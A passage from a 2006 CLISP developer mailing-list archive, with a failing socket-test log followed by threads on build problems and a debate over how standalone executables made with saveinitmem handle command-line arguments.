"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (MULTIPLE-VALUE-LIST (READ-LINE *SOCKET-2*))
CORRECT: ("foo" NIL)
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-1*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CLOSE *SOCKET-2*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (SOCKET-SERVER-CLOSE *SERVER*)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*))
CORRECT: #\a
CLISP  : ERROR
UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

OUT:
"[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

"


Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :INPUT
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (READ-CHAR *SOCKET-2*)
CORRECT: #\a
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-1*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :EOF
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-2*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0))
CORRECT: (NIL 0)
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (SOCKET-SERVER-CLOSE *SERVER*)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"



-- 
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-25 22:28:39 +0100]:
>
> Compiling clisp-2.38 on MacOSX 10.4 on iMac G5 mostly works, but with
> these two problems:
>
> -  --with-dynamic-ffi  doesn't work

I think the older version(s) of clisp that I built on SF CF
 	clisp-2.35-ppc-powerpc-darwin-6.8.tar.gz
  	clisp-2.35-ppc-powerpc-darwin-7.9.0.tar.gz
have FFI.
I believe this issue is raised at every release.
You might want to file an SF bug report or debug it yourself or file an
SF support request asking them to fix SF CF macosx hosts (I did).

> -  we get a big socket.erg  (A simple test using socket-connect,
>                              format and read-line seems to work ok,
>                              the problems may be with the test...).

https://sourceforge.net/tracker/?func=detail&aid=1399376&group_id=1355&atid=101355

also see thread "max os x socket problems" on this list.




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Date: Wed Jan 25 14:05:06 2006
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[ sorry about the duplicate message, I had sent this with the wrong
subject due to bad cut&paste from the mailing list archive. ]

Sam Steingold <sds@gnu.org> writes:
>> * Roman Belenov <eoryrabi@lnaqrk.eh> [2006-01-25 18:45:12 +0300]:
>> The arguments are processed before init-function is called, so that
>> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a
>> workaround if ext:*args* were initialized before calling the hooks,
>> but it is not the case.
> 
> I don't understand what you want.
[...]
> $ ./adder "" 1 2 3 4
> 10
> $

The issue here is the extra "" (or --) argument required; if you don't
use that the builtin runtime argument processing takes precedence. For
example, if you just provide a filename argument to the program it'll try
to load that as a Lisp file.

I think it would be useful to have the option of gaining full control of
command line processing, for the following reasons:

- for command line use, the error message you get when forgetting the ""
  blank argument, or when providing a flag intended for the application
  that gets intercepted by the runtime, can be very confusing for people
  who may not know or care that this is a Lisp program. It also makes it
  impossible to provide a drop-in Lisp replacement for a standard
  commandline tool.

- it breaks drag&drop execution - for example, on a Windows system, you
  can drag files onto an executable and it'll get run with those files as
  arguments. This doesn't currently have the desired result due to the
  missing blank argument when run this way.

- programs may want to use "" or -- for their own purposes, such as if
  they need a distinction between application flags and other arguments
  internally.

The standalone executable capability is potentially extremely useful to
create Lisp programs which work just like natively built C programs, both
for command line and GUI use, but the nonstandard argument handling
currently makes them gratuitously different :-(

I had a short look at the source to see if it's feasible to add a
:disable-runtime-args switch to saveinitmem, but this looked fairly hard
since the argument handling appears to happen very early, before the
attached memory image gets loaded.

-Klaus


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Hi

I downloaded the latest clisp and trying to build it.
I have only cygwin installed on my system (with mingw
runtime) so I go into the src directory and type:

./configure --with-mingw --build clisp-mingw
The result is a bunch of checks and finally:
configure: * check for host type
checking build system type... Invalid configuration
`clisp-mingw': machine `clisp' not recognized
configure: error: /bin/sh ./build-aux/config.sub
clisp-mingw failed

I tried it with --with-cygwin with the same result.
Is it because I don't have mingw installed on my
system (is it really necessary)?
What could be the cause of the failure?

Thank you,
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Sam,

I'm trying to build clisp from the sourceforge CVS as of about 2 hours ago.

The configure complained that it could not find libsigsegv and gave
instructions for installing and configuring it which I followed.

Then I did the configure again with the --with-libsigsegv-prefix
and it still complains.

I read the configure script and it is checking a variable called
${cl_cv_lib_sigsegv} for the value 'yes' but this variable appears
never to be set under any conditions.

Suggestions?

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I upload it to sf.net

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thanks - I released it
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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2006-01-25 10:58:21 -0800]:
>
> I downloaded the latest clisp and trying to build it.
> I have only cygwin installed on my system (with mingw
> runtime) so I go into the src directory and type:
>
> ./configure --with-mingw --build clisp-mingw
> The result is a bunch of checks and finally:
> configure: * check for host type
> checking build system type... Invalid configuration
> `clisp-mingw': machine `clisp' not recognized
> configure: error: /bin/sh ./build-aux/config.sub
> clisp-mingw failed

I have no idea what this might mean.
I am afraid this is indeed a problem with your installation, so you will
have to google for the error message and ask the autoconf experts...

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> * root <qnyl@nkvbz-qrirybcre.bet> [2006-01-25 15:09:48 -0500]:
>
> The configure complained that it could not find libsigsegv and gave
> instructions for installing and configuring it which I followed.
>
> Then I did the configure again with the --with-libsigsegv-prefix
> and it still complains.
>
> I read the configure script and it is checking a variable called
> ${cl_cv_lib_sigsegv} for the value 'yes' but this variable appears
> never to be set under any conditions.

it is set by src/configure in config.cache which is sourced by the
top-level configure.

are you getting errors loading config.cache?

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> * Klaus Weidner <xj@j-z-c.pbz> [2006-01-25 12:25:07 -0600]:
>
> Sam Steingold <sds@gnu.org> writes:
>>> * Roman Belenov <eoryrabi@lnaqrk.eh> [2006-01-25 18:45:12 +0300]:
>>> The arguments are processed before init-function is called, so that
>>> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a
>>> workaround if ext:*args* were initialized before calling the hooks,
>>> but it is not the case.
>> 
>> I don't understand what you want.
> [...]
>> $ ./adder "" 1 2 3 4
>> 10
>> $
>
> The issue here is the extra "" (or --) argument required; if you don't
> use that the builtin runtime argument processing takes precedence. For
> example, if you just provide a filename argument to the program it'll
> try to load that as a Lisp file.

yes, this is necessary to enable CLISP scripting:
a script
----------- foo -----------
#!/usr/local/bin/clisp
...
----------- foo -----------
is called like this:
when you type
$ foo a b c
shell is doing
$ /usr/local/bin/clisp foo a b c

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On Wed, Jan 25, 2006 at 05:16:12PM -0500, Sam Steingold wrote:
> > * Klaus Weidner <xj@j-z-c.pbz> [2006-01-25 12:25:07 -0600]:
> > The issue here is the extra "" (or --) argument required; if you don't
> > use that the builtin runtime argument processing takes precedence. For
> > example, if you just provide a filename argument to the program it'll
> > try to load that as a Lisp file.
> 
> yes, this is necessary to enable CLISP scripting:
> a script
> ----------- foo -----------
> #!/usr/local/bin/clisp
> ...
> ----------- foo -----------
> is called like this:
> when you type
> $ foo a b c
> shell is doing
> $ /usr/local/bin/clisp foo a b c

I understand that this is necessary for the shipped clisp runtime - but I
think it would be useful to be able to build standalone executables that
don't behave like that, and that have full control over argument
handling.

For example, assume that you write a Prolog runtime in Lisp and then
generate a clisp-based standalone executable containing the Prolog
interpeter. It would be neat to be able to write Prolog scripts using
that:

#!/usr/local/bin/prolog
[ prolog code follows]

and then get the shell to run it using your executable. In this case the
filename argument needs to be handled by the image's init function and
not the clisp runtime, since it's Prolog and not Lisp.

-Klaus


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I am trying to build clisp 2.38 to include oracle. In the msys window where I 
have started the compile I have set ORACLE_HOME as: 

ORACLE_HOME=/c/oracle/ora90

I am compiling with this command:

./configure --without-readline --with-dynamic-ffi --with-dynamic-modules --with-
module=syscalls --with-module=wildcard --with-module=regexp --with-
module=oracle --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 -
-with-mingw --build oralisp > stdout.out 2> stderr.err

I had to change the Makefile.in in oralisp/oracle to use this additional 
include directive so it could find oci.h

${ORACLE_HOME}/oci/include

After that, I'm getting this error output (stderr.err)

./makemake: argument --with-module=syscalls is ignored because syscalls is a 
base module
./makemake: see http://clisp.cons.org/impnotes/modules.html#base-modules
./makemake: argument --with-module=regexp is ignored because regexp is a base 
module
./makemake: see http://clisp.cons.org/impnotes/modules.html#base-modules
writing test file clisp-test.c

wrote 160 tests (149 typedefs, 11 defines)

gettext.m.c:1: warning: -fPIC ignored for target (all code is position 
independent)

calls.m.c:1: warning: -fPIC ignored for target (all code is position 
independent)

regexi.m.c:1: warning: -fPIC ignored for target (all code is position 
independent)

wildcard.c:1: warning: -fPIC ignored for target (all code is position 
independent)

orafns.c:1: warning: -fPIC ignored for target (all code is position independent)

gcc.exe: ..: linker input file unused because linking not done

0 errors, 0 warnings

oracle.c:1: warning: -fPIC ignored for target (all code is position independent)

gcc.exe: ..: linker input file unused because linking not done

oiface.c:1: warning: -fPIC ignored for target (all code is position independent)

gcc.exe: ..: linker input file unused because linking not done

./clisp-link: create-shared-lib: command not found
./clisp-link: failed in /clisp/clisp-2.38/oralisp/i18n
make: *** [base] Error 1


The error seems to be in the absence of the create-shared-lib command. What do 
I do to overcome this error? I have installed Mingw32 and msysDTK and msys all 
at the "current" levels.

Thanks,

Jeff

PS, I'll fix my configure line on the next go around to not include the base 
modules as the error output above indicates.



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Jeff wrote:
> I am trying to build clisp 2.38 to include oracle. In the msys window
> where I 
> have started the compile I have set ORACLE_HOME as: 
> 
> ORACLE_HOME=/c/oracle/ora90
> 
> I am compiling with this command:
> 
> ./configure --without-readline --with-dynamic-ffi --with-dynamic-modules
> --with-
> module=syscalls --with-module=wildcard --with-module=regexp --with-
> module=oracle
> --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 -
> -with-mingw --build oralisp > stdout.out 2> stderr.err

--with-dynamic-modules with mingw (or all win32?) is not work (IMHO)

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Sam Steingold <sds@gnu.org> writes:

> suppose you want your program to add its arguments.
> you do this:
>
> $ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t
>    :init-function (lambda () (print (reduce (function +) ext:*args* :key
>    (function read-from-string))) (ext:exit)))'
>
> $ ./adder "" 1 2 3 4

What I want is to eliminate the need of "" (or --) as a first argument, so that
./adder 1 2 3 4
would do the job instead of treating 1 as name of Lisp file to load. As far as
I understand, it's not currently supported and requires additional flag in
the image and corresponding keyword argument in saveinitmem.

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Frank Buss wrote:
>See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html 
>. The effect
>is that when the exe-file is executed by double-click, no 
>console-window is created.

Maybe there's a possibility under MS-windows similar to what was available in AmigaOS: the console only appears when I/O is performed, not when the stream is created.  So it's open, but not (yet) visible.
It will only appear when the first READ or WRITE is issued. Then it will stay visible.

And BTW, hitting the CLOSE button sends an EOF to the input stream, but not close the window.  The window only closes when the stream is closed (well, there are some options, some can disappear and reappear later, like the tiny Linux Konsole/mesg popup).
The EOF condition can be cleared with CLEAR-INPUT.  Thus, like on UNIX, one can exit a dozen nested debugger sessions one at a time by hitting the CLOSE button (instead of pressing ^D in a UNIX terminal) a dozen times.  When CLISP sees the EOF at top-level it will exit, causing the window to close as well.

It seems such a behaviour could help you: no window, as long as nothing uses it. As soon as your GUI applications uses e.g. *trace-output* (synonym to *terminal-io*), the window appears.
Cute, isn't it?

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Sam Steingold writes:
> > * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2006-01-25 10:58:21 -0800]:
> >
> > I downloaded the latest clisp and trying to build it.
> > I have only cygwin installed on my system (with mingw
> > runtime) so I go into the src directory and type:
> >
> > ./configure --with-mingw --build clisp-mingw
> > The result is a bunch of checks and finally:
> > configure: * check for host type
> > checking build system type... Invalid configuration
> > `clisp-mingw': machine `clisp' not recognized
> > configure: error: /bin/sh ./build-aux/config.sub
> > clisp-mingw failed
> 
> I have no idea what this might mean.
> I am afraid this is indeed a problem with your installation, so you will
> have to google for the error message and ask the autoconf experts...

I'd try ./configure --prefix=/usr/local --build clisp-2.38-build

(without --with-mingw or --with-cygwin)  IIRC, that's how I compiled
2.33 on cygwin.

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Sam Steingold writes:
> > * Klaus Weidner <xj@j-z-c.pbz> [2006-01-25 12:25:07 -0600]:
> >
> > Sam Steingold <sds@gnu.org> writes:
> >>> * Roman Belenov <eoryrabi@lnaqrk.eh> [2006-01-25 18:45:12 +0300]:
> >>> The arguments are processed before init-function is called, so that
> >>> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a
> >>> workaround if ext:*args* were initialized before calling the hooks,
> >>> but it is not the case.
> >> 
> >> I don't understand what you want.
> > [...]
> >> $ ./adder "" 1 2 3 4
> >> 10
> >> $
> >
> > The issue here is the extra "" (or --) argument required; if you don't
> > use that the builtin runtime argument processing takes precedence. For
> > example, if you just provide a filename argument to the program it'll
> > try to load that as a Lisp file.
> 
> yes, this is necessary to enable CLISP scripting:
> a script
> ----------- foo -----------
> #!/usr/local/bin/clisp
> ...
> ----------- foo -----------
> is called like this:
> when you type
> $ foo a b c
> shell is doing
> $ /usr/local/bin/clisp foo a b c

So the solution would be to start with:

   (push *load-pathname* ext:*argv*)

in saved images?

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Roman Belenov writes:
> Sam Steingold <sds@gnu.org> writes:
> 
> > suppose you want your program to add its arguments.
> > you do this:
> >
> > $ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t
> >    :init-function (lambda () (print (reduce (function +) ext:*args* :key
> >    (function read-from-string))) (ext:exit)))'
> >
> > $ ./adder "" 1 2 3 4
> 
> What I want is to eliminate the need of "" (or --) as a first argument, so that
> ./adder 1 2 3 4
> would do the job instead of treating 1 as name of Lisp file to load. As far as
> I understand, it's not currently supported and requires additional flag in
> the image and corresponding keyword argument in saveinitmem.

The workaround I suggested doesn't work:

[pjb@thalassa tmp]$ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t  :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key  (function read-from-string))) (ext:exit)))'
clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t  :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key  (function read-from-string))) (ext:exit)))'
[1]> 
2587744 ;
646396
[pjb@thalassa tmp]$ file adder
file adder
adder: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped
[pjb@thalassa tmp]$ ./adder 1 2 3
./adder 1 2 3
*** - LOAD: A file with name 1 does not exist
[pjb@thalassa tmp]$ 

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Sam Steingold <sds@gnu.org> writes:

>> The issue here is the extra "" (or --) argument required; if you don't
>> use that the builtin runtime argument processing takes precedence. For
>> example, if you just provide a filename argument to the program it'll
>> try to load that as a Lisp file.
>
> yes, this is necessary to enable CLISP scripting:

I see, but for standalone executables it would be more desirable to disable
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no errors loading config.cache but i removed this file,
started the process from the beginning and it appears to work fine.
thanks.

Tim Daly


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i might add a second vote to not expecting -- as the first argument of
an executable file. i'm using this standalone feature to allow me to
replace a C++ program and this will be an issue as soon as i push out
the resulting change. it does make a "drop-in replacement" harder and
is a non-standard way of handling command line arguments.

i suppose 'scripting' uses of executables was a prior use and i can
see why it works the way it does. however it is easier for someone 
to handle the extra initial arg if they plan to use it in a script
than be forced to supply an arg you can't override.

Tim Daly


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-26 14:16:37 +0100]:
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> So the solution would be to start with:
>
>    (push *load-pathname* ext:*argv*)
>
> in saved images?

"script" overrides "init-function"

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Hi,

Pascal Bourguignon writes:
>So the solution would be to start with:
>   (push *load-pathname* ext:*argv*)
>in saved images?

Excellent analysis, excellent summary.

There's certainly a need for that scenario.
However, I'd say it's not acceptable/automatic that
  "standalone" ==> the above,
because some users may still allow for CLISP to process options (e.g. -B, -E, -I, --with-interactive-debug etc. among them).

E.g. my own use would be "a single file for ease, but otherwise regular CLISP, for use within Emacs" (-I is important there).

Therefore, what's probably needed is something to influence the startup when preparing a dump, either an argument to saveinitmen, or one of the custom:* variables.

Note that some of the options, but AFAIK not all of them can be set from within Lisp itself (e.g. the language IIRC, -L).

So maybe we're left with:
a) image in .exe, just for convenience, otherwise regular CLISP behaviour (-E etc.).
b) image in .exe, no CLISP options, application starts with *argv*
c) image in .exe, CLISP processes options and leaves either unrecognized (better not) or options after e.g. -- to *argv* for consumption by the application, similar to the old scripting solution.
d) ???


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Pascal Bourguignon wrote:

> I'd try ./configure --prefix=/usr/local --build clisp-2.38-build
> 
> (without --with-mingw or --with-cygwin)  IIRC, that's how I compiled
> 2.33 on cygwin.

if you want to install MinGW, you can follow this step-by-step manual:

http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html

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On Thu, Jan 26, 2006 at 02:48:27PM +0100, Pascal Bourguignon wrote:
> The workaround I suggested doesn't work:
> 
> [pjb@thalassa tmp]$ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t  :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key  (function read-from-string))) (ext:exit)))'
> clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t  :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key  (function read-from-string))) (ext:exit)))'
[...]
> [pjb@thalassa tmp]$ ./adder 1 2 3
> ./adder 1 2 3
> *** - LOAD: A file with name 1 does not exist

I think you're misunderstanding the problem - the issue is that the clisp
runtime handles the arguments in a predefined way before the saved memory
image is even loaded, so there's nothing the init function can do about
it. You don't need to put a filename into the first position of *argv*.

The clisp runtime currently works roughly like this:

- in "lisp" executable, step through the argument vector provided by the
  kernel

	- handle all "-foo" flags defined in the clisp man page for the
	  runtime. All handled arguments are removed from argv.
	
	- if a blank argument ("") or -- is encountered, stop argument
	  processing, leaving the remaining args (not the "" or --) in
	  argv.
	
	- if a non-option argument is encountered, treat it as the name
	  of a file to load, and discard it from the argument list.

- bind the remaining argv contents to ext:*args*

- after argv processing is complete, load the memory image specified with
  "-m" or the memory image attached to the "lisp" executable.

- run an initfunc or the repl as appropriate

The mechanism ensures that you can run Lisp scripts using the plain
"lisp" runtime, but it makes it impossible to create binaries which want
to handle arguments in a different way.

To change this, you'd need to modify the order in which the actions are
done - as far as I can tell the runtime argv handler doesn't even know
yet if an image is attached, so it can't change its behavior based on a
flag specified when saving the image. So you'd need to look for the
attached image first before parsing the arguments.

I was planning to look into making a patch for this, but I'm not sure if
I understand well enough how things work to do this cleanly.

-Klaus


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Date: Thu Jan 26 08:38:03 2006
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Coming from the peanut gallery here, but it seems to me that the
requirement for an "empty" argument could be handled by using a simple
shell script wrapper around the invocation that hides the actual
command being executed. This is done regularly in Java so that Java
applications can be invoked as:

% foo arg1 arg2 arg3

instead of

% java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3

Why fix something that isn't demonstratably broken when there is a
simple work around?

    -tree

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Date: Thu Jan 26 09:03:03 2006
X-Original-Date: Thu, 26 Jan 2006 12:01:28 -0500

I modified CVS head to do the following:

SAVEINITMEM now accepts :SCRIPT that defaults to (NOT INIT-FUNCTION)
When the image created with :SCRIPT T (default) is invoked,
the tradition behavior is exhibited: first positional argument is the
script file name, the rest is placed into *ARGS*
When the image created with :SCRIPT NIL is invoked,
all positional arguments go into *ARGS*.


this means:

$ ./clisp -q -K boot -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))'
$ ./adder 1 2 3 4
10
$

I want "./adder -help" to print the function doc for init-function too.

I appreciate feedback.

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Date: Thu Jan 26 09:26:06 2006
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Tom Emerson <tree@basistech.com> writes:

> Coming from the peanut gallery here, but it seems to me that the
> requirement for an "empty" argument could be handled by using a simple
> shell script wrapper around the invocation that hides the actual
> command being executed.

IMHO the main point of creating a standalone executable is to eliminate the
need of additional scripts, thus simplifying the deployment.

> This is done regularly in Java so that Java
> applications can be invoked as:
>
> % foo arg1 arg2 arg3
>
> instead of
>
> % java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3

This approach was available in clisp for ages; the question is how to use new
functionality to make things more straightforward.

> Why fix something that isn't demonstratably broken when there is a
> simple work around?

Workaround, whatever simple, is still a workaround, not a solution,

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Date: Thu Jan 26 09:44:05 2006
X-Original-Date: Thu, 26 Jan 2006 11:43:47 -0600

On Thu, Jan 26, 2006 at 12:01:28PM -0500, Sam Steingold wrote:
> I modified CVS head to do the following:
> 
> SAVEINITMEM now accepts :SCRIPT that defaults to (NOT INIT-FUNCTION)
> When the image created with :SCRIPT T (default) is invoked,
> the tradition behavior is exhibited: first positional argument is the
> script file name, the rest is placed into *ARGS*
> When the image created with :SCRIPT NIL is invoked,
> all positional arguments go into *ARGS*.

Thank you - but I would suggest going a bit further by using a tristate
parameter, for example:

:argument-handler :script

	(This is the default behavior when no INIT-FUNCTION is
	specified.) The CLISP runtime handles flag arguments, and the
	first positional parameter is treated as a script file name.
	Argument processing ends when a blank parameter ("") or double
	minus (--) is encountered, and any remaining arguments are placed
	into the EXT:*ARGS* variable.

:argument-handler :standalone

	All arguments, including flags starting with '-', are placed into
	the EXT:*ARGS* variable. This allows standalone executables to
	fully handle all argument processing. The application is
	responsible for handling any flag arguments normally handled
	by the CLISP runtime if that functionality is required.

:argument-handler :hybrid

	(This is the default behavior when an INIT-FUNCTION is
	specified.) The CLISP runtime handles flag arguments. All
	positional parameters (starting with the first non-flag argument)
	are placed into the EXT:*ARGS* variable for processing by the
	application.  Flag arguments intended for the application must be
	placed after a blank argument ("") or double minus (--).

The names are just suggestions of course.

This would allow fully emulating the standard behavior of C applications.

-Klaus


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> * Klaus Weidner <xj@j-z-c.pbz> [2006-01-26 11:43:47 -0600]:
>
> :argument-handler :standalone
>
> 	All arguments, including flags starting with '-', are placed into
> 	the EXT:*ARGS* variable. This allows standalone executables to
> 	fully handle all argument processing. The application is
> 	responsible for handling any flag arguments normally handled
> 	by the CLISP runtime if that functionality is required.

this will disable -M and -x.
I understand that someone might want to re-implement "ls" with clisp and
this will prevent him.

Nevertheless, I believe it is important that someone who receives a
clisp-based application can get a clisp repl by merely typing
$ app -x '(saveinitmem)'
$ app -M lispinit.mem
or just
$ app -x '(saveinitmem "clisp" :executable t)'
$ ./clisp

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Sam Steingold <sds@gnu.org> writes:

> Nevertheless, I believe it is important that someone who receives a
> clisp-based application can get a clisp repl by merely typing

I would expect it to be the prerogative of the author to make the
implementation decision to use CLISP or some other system, and that
decision here is not meant to be the business of the end-user. Why
must every application created with CLISP also /be/ CLISP?

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> * Steven E.Harris <fru@cnavk.pbz> [2006-01-26 13:55:13 -0800]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> Nevertheless, I believe it is important that someone who receives a
>> clisp-based application can get a clisp repl by merely typing
>
> I would expect it to be the prerogative of the author to make the
> implementation decision to use CLISP or some other system, and that
> decision here is not meant to be the business of the end-user. Why
> must every application created with CLISP also /be/ CLISP?

because the what you are distributing (e.g., clisp executable image)
does include full clisp (compiler, debugger &c) and I see no reason to
prevent the user from easily accessing it.

if you want full control over your application's options, you can use a
script.


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On Thu, Jan 26, 2006 at 01:24:43PM -0500, Sam Steingold wrote:
> > * Klaus Weidner <xj@j-z-c.pbz> [2006-01-26 11:43:47 -0600]:
> > :argument-handler :standalone
> >
> > 	All arguments, including flags starting with '-', are placed into
> > 	the EXT:*ARGS* variable. This allows standalone executables to
> > 	fully handle all argument processing. The application is
> > 	responsible for handling any flag arguments normally handled
> > 	by the CLISP runtime if that functionality is required.
> 
> this will disable -M and -x.
> I understand that someone might want to re-implement "ls" with clisp and
> this will prevent him.

My understanding is that you can't use any flags introduced with "-" if
the default argument handling is active, since they'll get parsed by the
clisp runtime and it'll produce the "invalid command-line option" message
before your application even gets a chance to look at them.

I guess I could live with a mixed mode where the clisp runtime would look
at the arguments and then extracts and handles those it knows, leaving
the rest for the application. But the default clisp argument set would
cause far too many collisions, it uses many single-letter flags for its
own purposes.  It would cause less collisions if, in :standalone mode,
clisp would handle only -M and -x, or (preferably) only long-form
versions --mem-size and --expressions, and pass all others to ext:*args*.

> Nevertheless, I believe it is important that someone who receives a
> clisp-based application can get a clisp repl by merely typing
[...]
> $ app -x '(saveinitmem "clisp" :executable t)'
> $ ./clisp

Would one of these alternatives also be acceptable?

app --clisp-args -x '(saveinitmem "clisp" :executable t)'

	(a magic --clisp-args switch which, if it's the first argument,
	overrides the :standalone flag and gives argument handling
	control back to the CLISP runtime)

CLISP_EXPRESSIONS='(saveinitmem "clisp" :executable t)' ./app

BTW, the new standalone SAVEINITMEM produces programs whose mechanics
don't quite match the discussion in the COPYRIGHT file. They are produced
with SAVEINITMEM but don't allow easy rebuilding using a CLISP rebuilt
from source.

I think the spirit of the COPYRIGHT file could be maintained if there'd
be a flag "--detach-image" (non-overridable) or comparable functionality
so you could do something like this to run it against a home built clisp:

	./app --clisp-args --detach-image "exe.mem"
	my-own-clisp -M exe.mem -x ...

Would this be reasonably easy (in other words, are they essentially just
concatenated) or would it involve a lot of processing?

-Klaus


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I have been learning Lisp by reading Peter Seibel's book "Practical Common Lisp" 
and working through the examples using LispBox with clisp.  

I wanted to use DEFCLASS with the :ALLOCATION option but the latest LispBox for 
Windows incorporates clisp 2.33 and the :ALLOCATION option was introduced into 
clisp with version 2.36

Does anyone know how to update LispBox's 2.33 clisp with either the latest 
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Thanks!



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On Fri, 2006-01-27 at 02:00 +0000, Bruce Lester wrote:
> Does anyone know how to update LispBox's 2.33 clisp with either the latest 
> version of clisp 2.38?

See Timofei Shatrov's post <43d69c3d.26475259@news.readfreenews.net> to
c.l.lisp in the 2.38 announcement thread at
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Tom Emerson writes:
> Coming from the peanut gallery here, but it seems to me that the
> requirement for an "empty" argument could be handled by using a simple
> shell script wrapper around the invocation that hides the actual
> command being executed. This is done regularly in Java so that Java
> applications can be invoked as:
> 
> % foo arg1 arg2 arg3
> 
> instead of
> 
> % java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3
> 
> Why fix something that isn't demonstratably broken when there is a
> simple work around?

We know and we agree, but this defeats the single executable objective.
If you have to have an encapsulating script, they there's no need to
put the lisp image in the same file as the lisp executable.

Since users want to have only one file, then this only executable must
be able to handle its arguments like any other program.

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On 2006 Jan 26, at 9:51 PM, Pascal Bourguignon wrote:
> Tom Emerson writes:
<Java Example elided...>
>> Why fix something that isn't demonstratably broken when there is a
>> simple work around?
>
> We know and we agree, but this defeats the single executable  
> objective.
> If you have to have an encapsulating script, they there's no need to
> put the lisp image in the same file as the lisp executable.
>
> Since users want to have only one file, then this only executable must
> be able to handle its arguments like any other program.

Ok, so another shell from the peanut gallery "weighing in"...
First, I am very emotionally sympathetic to the desire to have "one  
file" .exe (despite my distaste with/at Windows).
And very much aghast at the idea that because a "program" is  
delivered with CLISP that the user should know/care/want to "get at"  
the underlying CLISP. Ugh.

But, all that aside, I am very much impressed with the way that Mac  
OS X has diverged from the Windows (and Linux, last I looked) style  
of "application is one binary/executable" by going to a "well formed  
folder of coherent coupled files". As far as the GUI interface goes,  
an "application" is a single entity. Sure, there are ways and tools  
